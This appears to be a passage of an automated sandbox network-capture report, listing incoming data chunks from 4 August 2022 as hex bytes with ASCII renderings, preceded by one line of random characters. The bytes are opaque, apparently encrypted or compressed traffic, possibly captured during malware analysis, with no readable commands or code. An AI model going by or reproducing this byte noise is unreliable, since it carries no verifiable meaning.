2<+(G:Aj3mLS-L\|ZiJCR!nS9@#Tk[pV$Gx7,5"j3Nbu>'xGp-DwcP`I.kYp,oKOACoL79ud^DKa(dc\|O:)sOv'kctE^t(pBcg 8_j
2022-08-04 11:37:02 UTC	45	IN	Data Raw: 7d 28 d5 62 c7 ab 75 7c d3 25 b4 4b 4f 45 51 ae ad 06 4c fc 46 17 eb 31 06 cb f2 98 a6 10 96 ba 19 1f 6d a0 c3 b7 68 14 c3 b1 03 d5 a9 e5 3c bc 39 6f 13 31 63 15 98 dc 5b 3f 58 fe 51 99 3c 0b 2f d6 db 30 2b dc 6a 1c cb a8 eb 1f 6b ad 75 d9 b9 ba 4a 52 9e 7a a8 44 83 c2 22 bc 5f 37 2f fe af 2b 4d a8 ad 75 65 a4 63 8d fa d8 37 ce 2c 5f b9 a2 b6 43 a5 b9 11 37 83 84 af 5b 9b 19 29 57 e3 2b e5 94 7b 3d 96 52 5f 76 74 25 c1 63 84 67 9a f5 86 1c 01 c1 32 3c 90 80 97 47 de f1 d2 66 09 a3 33 7e 09 b9 62 ae 09 db b2 c7 2f a9 8f 0f e7 9f 6e 73 5d 06 9e ed f5 59 43 45 f3 be d3 fb e5 55 00 d5 00 51 07 16 eb 61 28 30 16 e4 83 71 e7 6e a4 0c 0e bf 51 bd 3e 06 9a cb b6 e9 a3 ef 51 cf f7 0f 3d 5d ed 05 84 41 a1 7e da 52 44 7e f7 4b d5 b7 d6 e3 90 11 f3 e1 cb 07 3b 28 5e Data Ascii: }(bu\|%KOEQLF1mh<9o1c[?XQ</0+jkuJRzD"_7/+Muec7,_C7[)W+{=R_vt%cg2<Gf3~b/ns]YCEUQa(0qnQ>Q=]A~RD~K;(^
2022-08-04 11:37:02 UTC	46	IN	Data Raw: 41 c1 5c 02 8a f0 df 50 dd 58 81 95 c4 39 a5 62 72 68 84 e7 40 92 9f 7b 39 43 9f 41 c9 6c 73 db 5e b0 21 79 39 7e 0b 96 68 7b d2 c0 ee b4 ef 61 a7 81 13 d4 b8 66 3d ad 41 3c 82 b3 c7 2b 74 71 29 74 da a3 dc 11 0b e4 23 ea 90 61 92 03 99 92 dc 6d eb 8f 69 02 a7 7f 2b 1a 6c 3d 2f 44 84 c7 cd d0 e5 e3 c4 f4 89 bd ae 1e 73 2e 5e 6a c4 fd 41 66 af 7b 36 1c 0f 67 cb 1d 88 63 71 4c bf 5e 0d a9 99 50 59 d4 5c 7f a6 04 71 ad 2a 60 38 dd 60 64 e4 15 ea 50 0c f3 b8 69 bc 0c a3 4b ed 61 2a 96 c2 4b c7 33 4b 05 1b 62 74 ed a6 3e 87 70 99 5c ec 08 66 c1 54 57 c8 6f 70 46 f2 5c a6 c3 f9 af 87 93 48 e4 2d 82 a5 73 40 7d 53 7d e9 10 24 a0 91 c2 41 2a 4f 3f 26 18 b7 96 f0 dc b0 dc a6 1f ab 6c b6 51 09 e3 d4 39 0f c0 1a 00 3b 16 03 93 17 c1 bf 03 b2 95 30 96 87 29 fe 5d 21 Data Ascii: A\PX9brh@{9CAls^!y9~h{af=A<+tq)t#ami+l=/Ds.^jAf{6gcqL^PY\q`8`dPiKaK3Kbt>p\fTWopF\H-s@}S}$A*O?&lQ9;0)]!
2022-08-04 11:37:02 UTC	47	IN	Data Raw: 45 28 6a ea fe 8d 33 24 f2 93 b2 a1 ba f3 5a d6 0d 4c e1 77 89 81 80 97 79 db 03 80 46 bc f7 6b df 2b 7a ae 96 a8 9d cb 56 f7 27 ea 19 bf 2d 07 f6 eb 9f 71 39 cf 56 b5 4b 2a cf 47 53 cc 97 f4 c7 5f 9e 43 f8 6a bf bd c3 d1 d0 62 51 90 12 f1 fe 8d 7b d4 90 30 9c 66 6c 81 47 0d 4a a4 89 bb 34 fd 5c d9 88 c2 54 a5 29 88 19 d9 1b d5 9f bc 9a d3 f7 df 21 9a 83 45 24 46 a2 ad ad 2e d4 d9 21 ab 6f de c0 ff 24 03 67 a8 52 c4 84 a3 fc db 8b ee 8c dd 32 7b 20 cd e5 d5 66 18 8b c2 5b 93 e3 c1 87 8e 19 3e 84 26 36 95 c3 4f fe 6b c7 f6 7e 4c 0a 36 92 fe 17 51 8d e0 be 79 e9 7c 92 f2 63 b6 79 f3 70 58 1a b1 05 9a 7d f5 03 ef 24 09 68 36 55 66 b1 f4 14 b9 ec 49 bf 72 05 a0 7f 60 95 91 06 3e 45 d6 43 4f 63 65 6c e1 65 e3 5f 5b 69 77 e6 bf a6 24 b2 ef 81 c7 90 9b af 33 02 Data Ascii: E(j3$ZLwyFk+zV'-q9VK*GS_CjbQ{0flGJ4\T)!E$F.!o$gR2{ f[>&6Ok~L6Qy\|cypX}$h6UfIr`>ECOcele_[iw$3
2022-08-04 11:37:02 UTC	49	IN	Data Raw: 67 23 00 64 4a a9 13 ca 8f bd 5b 07 02 25 0a fb 5e 92 db ae 32 5e 75 50 c8 34 a8 7b fc 84 0b 66 26 8a 4d 81 0f 18 84 22 c5 dc 4a bc b8 b0 09 ca a6 3d a5 1f 3b bc ff 39 6b 3a 1e c7 1d a8 34 b2 81 2e d5 9a 35 b3 67 99 86 23 b8 dc 7f 5a a1 64 47 93 df c6 3b f8 50 f3 e5 71 17 84 25 a8 1a eb 93 46 ce 21 d5 80 28 9a 9c 88 64 f8 80 48 a1 ff 84 06 34 c1 a0 5d 56 04 ec 91 b2 8c 87 a4 5f 58 0e e1 c5 b4 83 58 91 54 8e 24 a8 85 e7 c8 f5 ae 97 01 e5 85 87 55 f1 33 3c 58 46 df 5d e6 48 db bf 66 fc 03 fc fb 9e 73 6d ac b9 84 4a 44 1c 4b 25 b5 93 90 8b 35 ae 9d e9 9d 85 a1 23 23 57 d1 e9 d4 aa fd 88 c6 79 0a 74 90 67 5f 07 bb a6 37 e6 53 a9 9d 8b d4 7b df 57 dc fc 6b ca 9b da 05 82 9d ce 0d f7 4e 20 06 45 25 a1 0c bf ed b8 e0 12 cc c3 d5 20 17 86 91 45 50 95 c4 cb 08 99 Data Ascii: g#dJ[%^2^uP4{f&M"J=;9k:4.5g#ZdG;Pq%F!(dH4]V_XXT$U3<XF]HfsmJDK%5##Wytg_7S{WkN E% EP
2022-08-04 11:37:02 UTC	50	IN	Data Raw: 89 28 de c6 67 1c d8 79 7f 5f c5 39 1c 1f 73 10 f9 fb e8 aa 05 78 94 37 07 cb 26 ff 42 dd e0 6b 17 e1 67 e0 3b 5f 6c cb 0a 0b 9f b6 1f ca 66 d2 c5 2e b7 9d 12 a8 cd 06 63 52 97 e7 f1 cb 4a 7f 29 cf b1 13 83 25 9f 87 fb 90 0f 7e ee cb 8c 82 af 5f 91 17 b0 7a 1a 9e ca 89 95 a2 5b 8f c8 72 9f bc fe 5c 8b 35 23 2c 40 57 ca 09 45 59 6d 88 5a cb d4 9c 5e d5 5e cb 06 2a b5 f7 7a 6b 1a 47 16 b9 6d 70 00 1d df ef 67 50 d2 cf 4f 90 1e ba 46 96 ef 45 dd a1 81 13 f6 ca e9 32 13 7a 97 9f d4 99 66 d1 ad dc 43 2d 06 a8 62 4b 6d 2d 6b 75 aa a5 bc 8f 17 ae 48 01 91 f8 c6 02 be b2 5e 3c ba 54 fd 58 2a 77 5a e4 09 c5 9a d8 c4 56 97 56 7f 6b 98 4c 2c 9f 99 db 5e f9 ee 2f 62 9f f3 f3 39 17 13 f3 dc cb 6d 02 de 45 b9 3b 62 2f 94 5c 59 db a3 3d 39 04 68 ef f3 2b a7 21 12 fa c3 Data Ascii: (gy_9sx7&Bkg;_lf.cRJ)%~_z[r\5#,@WEYmZ^^zkGmpgPOFE2zfC-bKm-kuH^<TXwZVVkL,^/b9mE;b/\Y=9h+!
2022-08-04 11:37:02 UTC	51	IN	Data Raw: bf c2 d7 a6 46 ff c3 79 3d cf c6 fb 74 10 2b 04 eb a0 d4 97 34 a6 70 a9 c6 3f cb 01 8e 90 c9 66 93 a8 6c 8e 1c 7c d7 32 e1 c7 4c c0 e5 4c a2 87 0e 36 0d 81 78 53 53 8a c7 6e 45 f3 91 58 63 6e 72 78 c6 9f 37 83 6e 94 5d ca 13 04 ce 96 dc 69 c9 1c 4b 8a b0 fb 0c 6c bd a7 11 1d 59 ae 16 85 5c 5c 24 5a d9 69 28 d3 cc d3 f5 8f 6e 5a 31 06 ce 74 c8 b6 ea 61 66 89 c5 0f 4a 62 72 10 b6 00 64 1d 09 47 db 0e cc 03 47 d1 27 e7 6c c1 7e 3d 37 5e 07 b1 50 50 2c 30 5d 28 c0 cf 6a 18 92 54 f4 59 45 e6 c0 cb 02 bf ec e6 e1 81 e8 a2 13 64 b0 c1 92 2e 51 a5 20 4b c9 84 97 9f 78 13 d2 1d ea bb 99 d2 97 19 e8 63 cd bc 8d 56 cf 98 d4 81 bc 84 38 8b 01 29 5a 0f 22 5c 33 47 76 aa cb bb 7a 06 4d e9 a2 79 57 e1 d3 30 c0 0c 34 94 92 4a 35 0b bb ae a9 00 ec a8 ae f6 f7 bf a9 6c 12 Data Ascii: Fy=t+4p?fl\|2LL6xSSnEXcnrx7n]iKlY\\$Zi(nZ1tafJbrdGG'l~=7^PP,0](jTYEd.Q KxcV8)Z"\3GvzMyW04J5l
2022-08-04 11:37:02 UTC	53	IN	Data Raw: 1a f8 2f f5 15 17 03 74 60 18 41 60 87 69 94 b7 af e9 30 89 28 68 73 2d 43 09 70 a5 21 da 9a bb 5b 5f 3d a0 e6 e9 8f e8 ff 87 6b 69 03 8d 07 e9 04 59 61 c5 9d 8e 2e 53 12 d1 c8 d3 a5 e7 31 51 0a ce 90 7f 7f 08 15 da 9f 9e 06 56 cc 80 72 c6 8a 6b 1e d8 bb d2 3e 62 5f a0 1e e5 84 83 e6 0c c1 d2 9c 33 63 d7 8b 65 93 63 fd ef 7a c8 86 30 22 dd 7b 8f 44 c0 80 99 58 5b c9 2f a9 53 66 62 4b fd 62 05 a4 40 93 05 84 75 b3 26 24 9d 73 d0 3b 8d 7b 4e 74 d5 9d bf 4b 63 f1 c5 63 e3 a6 37 46 91 7d bb b1 49 61 62 88 d4 ab 9a 8d 1e 14 6e d9 9a d1 ba 1c c5 23 ee 8c 79 67 5f 41 7f ad e1 dd 87 27 f1 d5 83 a6 15 c3 7d fa f6 d4 8b 60 37 de 91 83 66 5c 67 6c 07 00 24 42 57 88 84 cc ef 3e 9f 48 20 b6 97 43 74 6b 80 8b 9f 9b d0 aa df e1 df ca 67 04 52 4b 93 65 59 c3 75 60 b7 89 Data Ascii: /t`A`i0(hs-Cp![_=kiYa.S1QVrk>b_3cecz0"{DX[/SfbKb@u&$s;{NtKcc7F}Iabn#yg_A'}`7f\gl$BW>H CtkgRKeYu`
2022-08-04 11:37:02 UTC	54	IN	Data Raw: d9 83 37 86 4d 48 86 b5 91 0f 14 42 9d ea 9e 40 60 d0 98 1f 67 c3 a8 04 e3 3b e5 00 6b 20 47 23 0a 13 a4 18 5c 97 5c 18 92 ef 21 75 0b c1 67 cb 24 9e 11 c6 3d d2 d2 de c4 9b fb d0 3a ac cc 12 a4 fa db 49 1d d6 a5 31 5d ce 54 75 ce 5a 9a 9d 1f 51 d0 41 a8 e3 7a 07 6c 18 ca 03 4d d6 05 e9 cf bf 3c e8 5d cf f0 fd 36 71 8c 31 7d dc 5c 86 0a 85 fa 13 4d 2f 73 a0 62 17 ff df 09 a9 f9 de cb 67 30 d9 f3 41 1d 44 08 2f ad d8 cd 47 1f fc 4b 56 18 88 f7 d3 6e b3 fd fe c9 f7 8f 47 1b 00 63 16 36 18 e8 ac cf e6 f3 aa 15 68 93 ab a9 40 bd 3b 13 b3 ca 6d ad 29 ac 1f c1 28 52 2a de 51 32 81 02 79 08 a0 d6 6a 5b b2 4a 1b 57 cb cd 7c 5c 2a 09 6d 26 2d 3d cb f9 46 b5 5c b7 9c bd 79 83 7f 77 f5 95 82 b5 03 5f 44 07 cb 6d 7a b9 d3 37 1d a8 b6 9d 05 bb 43 90 f4 21 04 8b ac df Data Ascii: 7MHB@`g;k G#\\!ug$=:I1]TuZQAzlM<]6q1}\M/sbg0AD/GKVnGc6h@;m)(RQ2yj[JW\|\m&-=F\yw_Dmz7C!
2022-08-04 11:37:02 UTC	58	IN	Data Raw: fd c2 1d f8 c6 0b 76 84 06 e2 87 bd eb c2 67 97 2a af 5c 20 2d d3 9b b5 e6 23 62 66 23 88 e3 1c c1 1d 76 62 3d bd 06 18 51 bf f1 cf c2 05 7e 03 ac 65 a7 eb 5f eb 6b ac 6b c9 ff 6c 87 5a ca 54 c7 73 b2 ee be 99 d0 a0 76 77 d8 8f 33 45 60 05 cb 27 7d d3 2c 01 35 21 1a be 46 c9 c5 44 e9 99 84 1c d8 df bd 1f 5e d7 57 06 c1 36 d6 08 e1 b0 3c c5 88 23 84 ea 55 71 77 01 b7 7b 87 e5 9c f6 a8 34 e0 de e3 e9 21 74 94 0e cf fb 9b 35 69 4d c0 3d 20 78 8a df 44 d7 2e 62 3d 22 3b 67 83 c2 11 3c 8c 89 19 05 48 1c 07 00 6c 4d 89 e5 8c b1 6c 31 1c ad 09 e1 89 eb 00 60 58 0b 6d 25 04 f8 94 42 e5 13 17 b1 9b 53 79 fd 19 13 69 ea d6 71 5f f5 43 82 0e 6d 65 b5 16 d8 85 47 cf 86 72 67 53 15 68 ad 86 5e c5 a0 9e c9 aa 2a a3 1d 86 50 d9 01 14 5d 23 d5 61 21 ec 60 d9 7f a7 c5 a8 Data Ascii: vg\ -#bf#vb=Q~e_kklZTsvw3E`'},5!FD^W6<#Uqw{4!t5iM= xD.b=";g<HlMl1`Xm%BSyiq_CmeGrgSh^P]#a!`
2022-08-04 11:37:02 UTC	62	IN	Data Raw: 23 88 7e 02 49 b8 8c 4e 65 a0 8f 27 b5 c7 4f 5c 7d 80 a9 c8 d3 c6 4c 08 da 8d 62 31 db af b4 e9 ed 99 4f 90 dc 5d 49 4e a2 ba e3 0a b8 8d 34 d4 f4 10 69 78 1d f8 c0 41 18 a7 0f c9 d1 64 d7 f9 72 8c 94 90 7f 16 ae a6 4b cb 23 bb 62 ed 3c 99 fc 85 09 57 e8 17 5f 8c 34 46 5b 5f 38 db c3 91 27 23 8c 2d 2c 32 40 bf af 26 55 e1 19 0a 74 94 4e b6 25 67 13 a6 34 9b 27 96 c9 b7 83 b5 ae 3b e3 72 23 5c 76 a7 5e 61 1f 86 79 47 f2 b2 cc 1c aa 02 08 27 a3 7f 22 3e 83 a4 b5 5e 41 28 a9 65 27 9b 22 26 45 4d 4b d6 ee 93 c7 32 b0 0b 0e 9a 83 8b a3 58 d2 64 20 44 ef 1e 97 c7 eb 0a 5c 7f 30 a8 16 6a fd 29 f2 13 7d 01 d2 69 ea f9 da 8b 9b b3 c4 67 74 03 7e 40 e0 95 6c ad e8 1e 6d c6 78 14 fe d1 ea d5 b9 61 e4 b1 0b 86 35 86 91 de d4 7b 25 9c c5 c9 e8 cf 56 d3 7c 87 a4 32 94 Data Ascii: #~INe'O\}Lb1O]IN4ixAdrK#b<W_4F[_8'#-,2@&UtN%g4';r#\v^ayG'">^A(e'"&EMK2Xd D\0j)}igt~@lmxa5{%V\|2
2022-08-04 11:37:02 UTC	63	IN	Data Raw: c2 2b 45 45 42 c4 e8 18 99 73 0b d9 5d 48 8c dd 47 c0 86 2e 4d 58 83 72 2f 4f 99 e4 8e 3b b8 94 5f 65 e5 30 59 95 db e6 83 fa 5b 73 c7 c0 1f d7 56 62 5f dd dc 34 74 a6 31 56 c4 5d 84 d9 c0 86 05 5a a5 3a 18 ca 32 74 42 cf c5 69 7b 30 49 6d 83 8d 19 61 38 23 d1 de 87 3f 3d f7 0c f6 d0 05 83 bb 83 9e 01 5c 22 e7 6d d2 89 90 13 f6 a3 e5 19 5b 9b 11 a5 55 dd ed 43 79 c7 eb 45 98 c9 65 78 5f 57 ad 0b 5c 58 46 f1 eb 55 90 c1 8b 87 a8 82 bd 8b ae da ce b9 aa 80 84 97 01 be 9f 67 57 32 fb ba 8b 5b c8 76 b0 c7 18 84 2e 7d 30 8a 7f ad 24 b6 14 cd 92 cc e8 c1 b6 fd bd 89 ee fe 40 00 f8 13 5c 98 0d 67 9d ab 25 25 98 15 df 36 58 1a e5 f9 c9 e0 14 01 67 c8 de 0e 67 5d 92 34 74 d3 b3 de 12 a4 78 67 e5 6d 1f 8d 90 44 aa de 59 72 c5 44 5a b7 a1 63 4c ab 93 86 ce fd df b4 Data Ascii: +EEBs]HG.MXr/O;_e0Y[sVb_4t1V]Z:2tBi{0Ima8#?=\"m[UCyEex_W\XFUgW2[v.}0$@\g%%6Xgg]4txgmDYrDZcL
2022-08-04 11:37:02 UTC	68	IN	Data Raw: b4 09 e5 78 44 b3 e8 de 75 13 52 20 ff 94 3a 42 cb e0 2d f7 d5 c1 28 53 bf 82 89 22 42 ff 79 bd 7c e9 af f8 03 d5 3a 7e 67 af 19 e9 c8 89 e8 20 4b 36 2a 61 5e 83 c8 65 d2 48 15 ba e4 18 bd b1 68 1c b8 25 82 81 06 09 05 06 00 c5 5d e2 cf 01 d2 83 67 ca 24 80 46 2c b9 43 e5 c0 1c 08 36 e4 be 4c 58 14 f0 a1 e9 f4 37 a2 bd 91 c6 59 fe ea 83 71 ff 5a 2b 8a ad cd 9a 0f d8 05 5c 94 d4 64 c4 bf cb 8f 24 11 b7 7e fc 9c 96 42 83 ac 2c 8d bf 25 dd 19 59 86 87 d3 bf ab e2 21 c8 44 73 97 9f 93 1b 51 95 80 00 34 fb d4 c9 49 98 49 bf 47 bc 67 b6 b2 cb 32 0a d7 94 b3 62 41 72 9a 6a 3a c5 54 ae 01 46 12 fd 36 12 07 79 7a 93 a8 10 18 1d 7b ea 6d cf 96 73 04 07 7d 7d b3 91 f1 f6 91 58 49 f5 d1 42 9d ca 15 f5 f5 80 79 16 24 83 01 5c 68 a3 40 da ef 59 1b 64 60 a8 01 c7 95 07 Data Ascii: xDuR :B-(S"By\|:~g K6*a^eHh%]g$F,C6LX7YqZ+\d$~B,%Y!DsQ4IIGg2bArj:TF6yz{ms}}XIBy$\h@Yd`
2022-08-04 11:37:02 UTC	72	IN	Data Raw: 7d 00 b0 68 ec 6f c5 93 6f 64 ef cf 26 e5 22 c6 16 d3 5f f0 5d ae 57 a5 a7 d0 66 93 47 b0 fc ec 2a 31 4b 2e 44 08 21 8d 37 8c 3d 74 a4 8a a5 22 12 69 ec 05 91 fc ba 5e 6c bf 88 91 77 ea 63 4d 05 4c 06 94 63 59 ef 79 4b 80 16 5c af 96 a0 62 8e 72 60 19 19 29 79 b7 5e 37 2d c3 7d 75 68 36 4f 8a c7 3b cc 96 a1 6e d7 31 c3 1f 9d 7b 6a dc 85 ec a9 21 4e 90 b9 9a b1 b5 a1 3f b5 44 bd 58 d5 27 5e db ae 64 55 21 e3 47 38 f4 bb cb 03 78 f8 d0 81 b3 07 c1 ea 4f 09 e6 80 47 91 5c 68 7c bf b4 d2 42 8d 5f 60 99 14 04 63 2b 13 e9 83 4b 42 ee 19 d8 d3 f5 24 8f 8b 6c 60 0a 91 be b9 fc 3f de b1 1a 97 16 c9 99 69 d9 b3 9b 12 74 7a e9 47 d6 b8 c6 1f 1d d2 41 0e 24 9e 5a c5 62 67 78 09 05 03 84 de d1 ec 29 25 2f 73 a9 26 d1 10 aa 8b 9e d5 31 c3 60 d2 05 6b c5 5d 02 16 d6 45 Data Ascii: }hood&"_]WfG*1K.D!7=t"i^lwcMLcYyK\br`)y^7-}uh6O;n1{j!N?DX'^dU!G8xOG\h\|B_`c+KB$l`?itzGA$Zbgx)%/s&1`k]E
2022-08-04 11:37:02 UTC	76	IN	Data Raw: 62 5b c7 69 ba ee 55 e1 7b 05 5f 6d ec 17 f0 19 ef c5 8e 70 82 71 03 af 71 1d 07 37 72 8a 53 e7 a1 72 23 0d a8 71 bd 24 5d 8e 52 4e d6 63 70 88 bb 31 7e 51 0b 99 23 5e dc 45 b9 d5 5d e9 90 e2 81 45 31 d7 9f 81 0b 5b 86 af ec 22 cd 7b 48 fa 6f 40 ad df 92 e4 18 33 d2 63 fb de 78 68 f2 df 70 f1 a2 36 20 61 b8 0b 4a 50 18 3e 60 ae 7f 4b 30 d7 f8 37 c6 0e e3 6b fe 88 2a f6 5b 4c 8d 22 1d 84 d5 7d ec 1a a0 af bf 7a 02 94 0c 87 fe bf e3 04 20 81 2a 47 d8 01 04 c3 de 10 54 db 1b 46 27 51 80 fc ed 45 9b 47 e1 b4 fc 07 72 90 3e 71 79 4a e7 f7 70 14 cb b8 ba 05 e8 be 21 cd fb 82 b4 44 08 33 e0 7c f5 05 01 4f 0a 93 b8 e8 fa de 7e e8 ca 52 1d 9b e5 aa fb 8c e3 58 dc 94 a3 27 a4 5c 30 bf e4 e2 6c c0 15 68 a8 8f 99 00 c3 bd a9 2e 0c ed fa b8 a3 2a f2 bd dc 6b 1f f9 45 Data Ascii: b[iU{_mpqq7rSr#q$]RNcp1~Q#^E]E1["{Ho@3cxhp6 aJP>`K07k[L"}z GTF'QEGr>qyJp!D3\|O~RX'\0lh.*kE
2022-08-04 11:37:02 UTC	80	IN	Data Raw: 82 c0 5a 66 4a 15 53 4a 71 44 df 5d 7b 44 46 c7 71 3c 53 4b 45 46 66 a1 b2 e5 49 af 9f 27 84 ad 43 12 45 aa 62 8e 0e 22 bc 83 7d 42 12 65 db ad 42 56 34 58 c7 43 0b 6c 64 45 96 a8 19 da 4b 16 96 9c a8 25 64 92 06 b6 d9 c3 32 d8 15 50 09 35 90 eb 82 66 6f 12 b8 e9 bc bf 2e 5c 83 c2 74 cd d7 0f 0a fc e3 bc 7f e8 2d e8 47 dd 58 46 e2 8f 46 e6 97 d5 94 92 0e fc 75 c8 3f 28 28 94 af 71 59 63 8a f9 92 04 0c 11 c8 55 8a 26 c7 43 04 62 e6 2a 43 70 10 0d 9d ed 85 43 b5 8a 6f c6 d7 fc 25 d3 86 2e 4b 9a d6 79 1e 15 97 0e da d0 c6 74 db d5 68 07 17 eb 58 9a 7d d3 96 c0 44 68 a4 fa 1d 87 61 50 49 21 6c 22 0d b0 81 6b c3 97 77 07 13 91 53 e0 b5 a6 b2 5b 62 f3 83 68 6c c1 42 1e 32 69 97 85 4d 73 ad 9f 08 48 48 28 ac 93 90 51 b7 21 8e 87 f7 41 f7 da d5 00 5f d2 98 c3 36 Data Ascii: ZfJSJqD]{DFq<SKEFfI'CEb"}BeBV4XCldEK%d2P5fo.\t-GXFFu?((qYcU&Cb*CpCo%.KythX}DhaPI!l"kwS[bhlB2iMsHH(Q!A_6
2022-08-04 11:37:02 UTC	84	IN	Data Raw: 18 67 54 4a 0f 2a 81 13 a1 16 72 03 0e 2c 59 f1 10 42 f6 87 2b 80 e9 42 96 9b fa 4d a5 24 c8 81 24 cd ca 47 3f 10 88 32 6d 55 c0 fa 48 82 8a 80 88 9d 64 b1 ab 12 ae 28 58 23 ef dc 64 f4 0d 20 11 80 4f 4f 03 02 68 a4 4f 84 47 c7 5d 26 3b 80 ef 41 bf 4c e8 46 31 d6 4f 39 dd f0 17 b6 9d 0e 69 60 e0 69 28 d4 02 db 55 4b 09 03 f8 41 c5 20 b5 0a 59 a4 78 af b7 ec fb eb 60 3c 1e 56 ac 48 cf c8 0a 4f b6 11 40 69 a0 11 f6 f0 c6 ec 0e 6f 22 8f 0b 88 3d 14 05 9d df bb 2e c5 c0 c9 fe e9 6d 48 1c d7 5a f9 cf e8 92 08 03 88 d5 61 68 a7 63 e9 e3 b4 be ec ca a7 ff 73 47 22 6b 24 54 cc 4d 43 4f 45 5d 97 a5 0a 9d 23 a8 f1 25 5e b5 df c8 71 aa ed 3d bf 21 19 08 9e 14 c4 0f d2 0b 1a 02 02 68 8a 9c 5a 35 32 bf 28 5f 83 cc b1 14 86 bc 3d 6d 89 c9 37 00 e3 c0 c3 77 fa df 7f a8 Data Ascii: gTJ*r,YB+BM$$G?2mUHd(X#d OOhOG]&;ALF1O9i`i(UKA Yx`<VHO@io"=.mHZahcsG"k$TMCOE]#%^q=!hZ52(_=m7w
2022-08-04 11:37:02 UTC	88	IN	Data Raw: 53 66 56 30 47 dc 94 0e c2 51 23 a5 82 77 c9 d0 db 81 0c 73 ea fa 47 f9 48 14 b4 8f 59 21 4a 52 ee 5b 81 4d d1 4f cb 29 00 0c 05 39 ce e0 c7 b3 32 04 37 3d 27 40 9d 13 e3 2f 7b cd 8f 9e b4 34 2a 61 00 5d 75 47 a0 4e 50 a3 ca 61 e1 8b e2 4b d5 c5 8d 59 c4 41 52 1c dc 8f 84 bd 55 e5 84 5c 84 e9 b4 de 81 9e 30 23 71 07 15 8f 2d 3e 0b ad d1 a9 62 10 17 df c3 cc af a5 72 3d 0b 32 66 15 13 0b ef 32 fb e8 2e cc a5 a1 62 38 0d eb 9b 61 0b 5e 97 d3 e6 e9 02 5f 96 01 49 fc e1 be a5 81 be d6 a9 56 af 00 11 19 25 f1 74 4e 84 d0 91 49 da 2e 53 4e 83 36 5e 00 c7 78 a4 cc 57 2d 3e ec 84 6e 54 3d 24 30 b8 f3 e0 7e a6 92 69 f3 a6 b3 3b 9e 1e 17 c6 66 10 64 63 8d 48 5c 98 f6 cd 8e 64 ef 82 3b 32 f1 79 f5 a8 4d ef cc c1 51 64 a0 54 b4 d4 1b 88 a2 43 99 d4 26 d7 e3 19 18 b3 Data Ascii: SfV0GQ#wsGHY!JR[MO)927='@/{4*a]uGNPaKYARU\0#q->br=2f2.b8a^_IV%tNI.SN6^xW->nT=$0~i;fdcH\d;2yMQdTC&
2022-08-04 11:37:02 UTC	92	IN	Data Raw: ae 99 f9 41 1d c4 8e df 47 6f 56 a5 15 2e 8c 98 7f 03 90 bd 6e 2b 72 2d e0 5b 65 35 88 c1 f9 a4 79 18 8f 58 cf 85 17 d3 2a 20 6a f5 d9 4f 6e fa c6 99 5b d1 f3 20 23 29 66 0f e2 77 e6 f3 99 90 d9 b5 f8 9f b0 0e ce 64 06 e2 cd bf fd 34 f2 de 61 51 4a 7c 06 ba fb 92 5c 38 e4 cf 0b c0 6d 99 a3 d8 2d 05 ab 71 64 9d 60 9c 38 02 2e 23 68 9d 66 1d fe df f5 0e bc 86 e0 5d 0c 97 68 9a 39 91 e5 08 fa a7 cc bb fb 5b db 8b 8f eb 06 b7 18 cd 3d 5b 1a cf d4 40 66 ea 46 c5 43 8e d9 85 78 67 d9 44 00 73 5d 95 f4 41 2d 0f 6f 1a 99 9b d4 d7 a9 51 0a 01 ef 21 be de aa 55 28 19 9e d5 fd 46 59 9d ae cc 2c 23 9d 17 5d 40 a0 33 80 98 ab 12 f7 6c fd 02 76 96 a0 df 92 8f 56 7c 0e 5a ab 03 ba 3f 58 2f de 54 1b 1e a7 cb 52 7d 25 48 27 79 83 db 49 41 a5 19 01 df 32 5e 60 41 a3 15 5e Data Ascii: AGoV.n+r-[e5yX* jOn[ #)fwd4aQJ\|\8m-qd`8.#hf]h9[=[@fFCxgDs]A-oQ!U(FY,#]@3lvV\|Z?X/TR}%H'yIA2^`A^
2022-08-04 11:37:02 UTC	95	IN	Data Raw: 8e 3d 5f 85 4c 3e ca 10 47 42 32 03 da 22 7c 5f fd 58 85 52 65 c2 e8 e3 85 0c 40 89 bc c0 63 9a 84 ea 0a 75 4c 94 32 a0 cf a6 82 d7 bd c2 8a 3b ca 8c bf 17 91 a8 9f b1 08 d8 d3 3b 86 58 c2 6b 41 fe 66 e3 5b b1 36 81 3b 03 27 d4 38 9c 8d ec 48 d4 dd ae 83 f9 b8 e6 65 50 89 b2 54 2a c1 f2 58 0e 7c 60 c0 5f 67 2e 4b 98 73 7d 2a d8 38 a6 1b 2d 57 bc 5d c0 25 9e 1b 38 2d 89 3f ec 63 05 82 a9 13 4b 75 5c 3b 55 30 e7 45 eb f9 7a 24 7f df fd c2 c9 7f f8 90 b0 4c e7 33 ba 2e e3 fa 05 f7 81 3d 05 f4 6c 62 a7 38 11 db 63 59 84 79 af 98 34 5f 8f 17 4b 44 e9 9b 08 9f 2f 8c 83 26 c9 25 de b8 40 40 02 2f 5a 15 83 c8 ba 5e eb b9 96 21 fa 7e da e7 71 7c 2b 54 ce d8 af fb 79 d8 9c ca 16 86 5b 20 c9 c1 05 cd 49 51 68 e7 cb d7 dc f6 43 9e de 60 ae 00 b7 03 b6 87 8a 75 90 32 Data Ascii: =_L>GB2"\|_XRe@cuL2;;XkAf[6;'8HePTX\|`_g.Ks}8-W]%8-?cKu\;U0Ez$L3.=lb8cYy4_KD/&%@@/Z^!~q\|+Ty[ IQhC`u2
2022-08-04 11:37:02 UTC	100	IN	Data Raw: cf 26 ae 82 3f 83 f2 ca 9f 86 c0 af 5f 6d ef 0e 09 f7 3c ae 7b e3 8c 0a 42 f6 dd 8c da ba cd 1d 05 11 ff b2 1a f3 5a 11 07 1e 08 9d a9 3b f1 d1 2f ea 0e b2 69 88 d7 51 2e 41 74 a7 98 83 6d c4 c3 8d 29 95 f9 c1 ab 7a 03 5f fe 90 57 7b 35 85 bf 51 e1 81 51 57 54 2c 1e de f2 9b be 52 9a ac cf 3b 68 36 d0 a1 e9 61 76 e7 8f 2c 87 0c c5 43 3a 04 8e 66 fe 38 fb da e8 d7 5c 71 e0 94 e8 19 93 3e 25 36 0b fd a5 64 22 6a a2 23 56 7e d6 d2 66 a5 a6 a5 88 f8 7b 9f 4b 79 02 3d 3a a3 28 9a 82 f3 18 0b cf 05 3e 87 26 46 1d 70 d1 86 05 7d 1d 98 3c c7 0c 70 e9 18 28 b5 01 0e 6d 18 34 dd 56 1e 7f 11 40 7a ef 02 00 8a d5 79 cd 1d ce a3 a2 43 cd 34 e3 75 6e c9 ac a1 dd 21 c1 61 56 77 c2 8f 6f 16 a0 e9 32 6e d6 f2 9b b2 0b 8e 95 21 46 2f fa 1a 4b d1 56 aa 99 51 a4 2d 